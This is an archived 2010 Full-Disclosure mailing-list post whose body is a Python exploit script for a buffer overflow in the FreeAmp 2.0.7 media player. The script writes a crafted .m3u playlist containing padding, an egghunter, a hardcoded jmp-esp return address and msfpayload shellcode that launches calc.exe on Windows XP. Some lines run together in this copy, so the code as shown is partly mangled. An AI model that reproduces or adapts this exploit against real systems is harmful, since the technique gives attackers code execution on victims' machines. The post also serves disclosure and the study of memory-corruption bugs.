full-disclosure - FreeAmp 2.0.7 .m3u Buffer Overflow

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Sat, 11 Dec 2010 21:10:15 +0000
From: zota mr <zota.mr@...mail.com>
To: <full-disclosure@...ts.grok.org.uk>
Subject: FreeAmp 2.0.7 .m3u Buffer Overflow


 Exploit Title: FreeAmp 2.0.7 .m3u Buffer Overflow - Egghunter# Google Dork: N/A# Date: 11/12/2010# Author: zota (Thanks to Andrew; andras.kabai@...t-hungary.hu)# Software Link: http://letoltes.szoftverbazis.hu/bfc5ec1d5e80cee5b5d3f78459113ed93c51f649/4d03800a/freeamp-v2-0-7-JI2/freeampsetup_2_0_7.exe# Version: 2.0.7# Tested on: Windows XP SP3 HUN# CVE : N/A

filename = "crash.m3u"
egg = "H4CK"
#egghunter --> size 32 byte
egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x48\x34\x43\x4b\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
padding = "A" * 14654
#kernel32.dll#7c86467b   --> jmp esp
eip = "\x7b\x46\x86\x7c"
# 16 byte nop after eipnop= "C" * 16

#msfpayload windows/exec CMD=calc.exe r | msfencode -b "\x00\x0a\x0d --> size 228 byte"
payload = ("\xdb\xcf\xd9\x74\x24\xf4\xba\xf0\x1b\xe7\xdb\x5b\x31\xc9" +"\xb1\x33\x31\x53\x18\x03\x53\x18\x83\xc3\xf4\xf9\x12\x27" +"\x1c\x74\xdc\xd8\xdc\xe7\x54\x3d\xed\x35\x02\x35\x5f\x8a" +"\x40\x1b\x53\x61\x04\x88\xe0\x07\x81\xbf\x41\xad\xf7\x8e" +"\x52\x03\x38\x5c\x90\x05\xc4\x9f\xc4\xe5\xf5\x6f\x19\xe7" +"\x32\x8d\xd1\xb5\xeb\xd9\x43\x2a\x9f\x9c\x5f\x4b\x4f\xab" +"\xdf\x33\xea\x6c\xab\x89\xf5\xbc\x03\x85\xbe\x24\x28\xc1" +"\x1e\x54\xfd\x11\x62\x1f\x8a\xe2\x10\x9e\x5a\x3b\xd8\x90" +"\xa2\x90\xe7\x1c\x2f\xe8\x20\x9a\xcf\x9f\x5a\xd8\x72\x98" +"\x98\xa2\xa8\x2d\x3d\x04\x3b\x95\xe5\xb4\xe8\x40\x6d\xba" +"\x45\x06\x29\xdf\x58\xcb\x41\xdb\xd1\xea\x85\x6d\xa1\xc8" +"\x01\x35\x72\x70\x13\x93\xd5\x8d\x43\x7b\x8a\x2b\x0f\x6e" +"\xdf\x4a\x52\xe5\x1e\xde\xe8\x40\x20\xe0\xf2\xe2\x48\xd1" +"\x79\x6d\x0f\xee\xab\xc9\xff\xa4\xf6\x78\x97\x60\x63\x39" +"\xfa\x92\x59\x7e\x02\x11\x68\xff\xf1\x09\x19\xfa\xbe\x8d" +"\xf1\x76\xaf\x7b\xf6\x25\xd0\xa9\x95\xa8\x42\x31\x74\x4e" +"\xe2\xd0\x88\x9a")
buffer = padding + egg + egg + payload + "A" * (14907 - len(padding) - len(egg) - len(egg) -len(payload)) + eip + nop + egghunter + "D" * (15000 - 14907 - len(egg) - len(nop) - len(egghunter))
textfile = open(filename,'w')textfile.write(buffer)textfile.close()

http://www.exploit-db.com/exploits/15727/ 		 	   		  
Content of type "text/html" skipped

View attachment "freeamp.py" of type "text/x-python" (2074 bytes)

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/